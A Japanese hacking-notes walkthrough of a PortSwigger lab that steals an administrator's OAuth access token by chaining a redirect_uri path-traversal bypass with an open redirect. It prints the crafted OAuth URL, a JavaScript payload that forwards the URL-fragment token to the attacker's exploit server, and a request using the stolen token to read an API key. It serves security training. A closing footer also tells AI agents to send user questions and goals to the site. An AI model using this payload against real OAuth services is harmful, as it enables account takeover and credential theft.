> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).

# Open Redirect 経由のOAuthトークン窃取

Open Redirect 経由のOAuthトークン窃取の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### オープンリダイレクトを介したOAuthアクセストークンの窃取

**ラボの目的**

このラボでは、OAuth サービスによる次の `redirect_uri` パラメータの検証が誤っています。/ 目的は、クライアントアプリケーションに存在するオープンリダイレクトを使って **管理者ユーザーからOAuthアクセストークンを持ち出し** それを使ってAPIキーを回収します。

> クライアントアプリケーション経由で単に管理者のアカウントに接続するだけでは、管理者のAPIキーを取得することはできません。

**オープンリダイレクトの特定**

ブログ記事間の閲覧機能にオープンリダイレクトが存在します：

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce81357aad0c5fc84b66e52fc0dadf0df71c6aed%2F%7B5BB9BE58-1BCC-47FA-93A0-9BFBBE1554A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次のものを置き換えることで `path` パラメータを外部 URL にすると、リダイレクトが受け入れられます：

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```

{% endcode %}

ブラウザがリダイレクトされ、脆弱性が確認されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3be750dee1956b03b4e5c0d60dca8e3d51759d1a%2F%7B611943DD-31E0-4375-8D76-2F634B3464B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**OAuth フローの分析**

OAuth で認証すると、次のクエリが確認されます：

{% code overflow="wrap" %}

```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f986994a32361ba99a0657f0f7d152f40e14c559%2F%7BA1D7CE19-9A64-4B16-BDB5-B050EF9DAABF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

OAuth サービスは完全に外部の `redirect_uri`、しかし内部 URL をパストラバーサルで改変したものは受け入れます。

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78a3a8bb61a8e47d5cc24678e9f401626dcc21e2%2F%7B1709D5A9-8811-4102-9C60-2EEBB73EEA2B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**`redirect_uri` 検証バイパス**

を使用する `../` 抜け出すには `/OAuth-callback` パスでは、オープンリダイレクトを連結することができます：

{% code overflow="wrap" %}

```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93123c49476e7ef233d21b8b585704bc29e7102f%2F%7BA97377DB-AF25-4EE9-BF43-F73F0743DFC1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

この URL は受け入れられます `redirect_uri` OAuth プロバイダによって。

**悪意ある OAuth URL の構築**

被害者に送信される最終的な URL は次のとおりです：

{% code overflow="wrap" %}

```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

**フラグメントの問題（`#`)**

URL フラグメントは **サーバーには決して送信されません** HTTP リクエスト中に。<br>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e40633e80cbce7be2b8b127fce282d88acff9b7%2F%7BB7692BF9-D9CC-4F02-8CA6-C3FC24537514%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

トークンを取得するには、クライアント側の JavaScript が必要です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6c2a4fb80b94a986aa2321ce0742c40a9ae7cfb%2F%7B3DC13C12-FCE9-4AA0-9AB6-043EC4D8F0AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**JavaScript を使ったトークン取得**

次のスクリプトが Exploit Server にホストされ、管理者に送信されます：

```javascript
<script>
if (!document.location.hash) {
      window.location = 'https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net/exploit&response_type=token&nonce=-1202975070&scope=openid%20profile%20email';
} else{
   window.location = '/?' + document.location.hash.substr(1);
}
</script>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86e60cd754ab9f6af50efde036b30ac651ce01ee%2F%7B26FECF5A-61EB-41B4-B249-EDD1FA92A71D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* フラグメントが存在しない場合、被害者は OAuth にリダイレクトされます。
* フラグメントが存在する場合、トークンはクエリ文字列経由でサーバーに送信されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95ce114dd887567202d8f9937b9bc092afcaafc6%2F%7B43ED8A36-E2E5-46F7-A7D2-C7B835386522%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**OAuth トークンの悪用**

盗んだトークンを使うと、 `/me` 提供元 OAuth のエンドポイントに問い合わせることができます：

```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8764fae02838301aa330c5bbbd65e45d6ae3e4c%2F%7BF972478F-7A0A-478D-9428-B4B66E4BFFDA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

応答には、API キーを含む管理者アカウント情報が含まれています：

{% code overflow="wrap" %}

```http
{
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Administrator",
"email":"administrator@normal-user.net",
"email_verified":true
}
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a496d9222856f3f25972a4c8ff09c9225c15103%2F%7B2F03A321-24AF-4BD8-A322-EA3FEBB70F94%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/oauth-authentication/oauth-token-theft-via-open-redirect.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
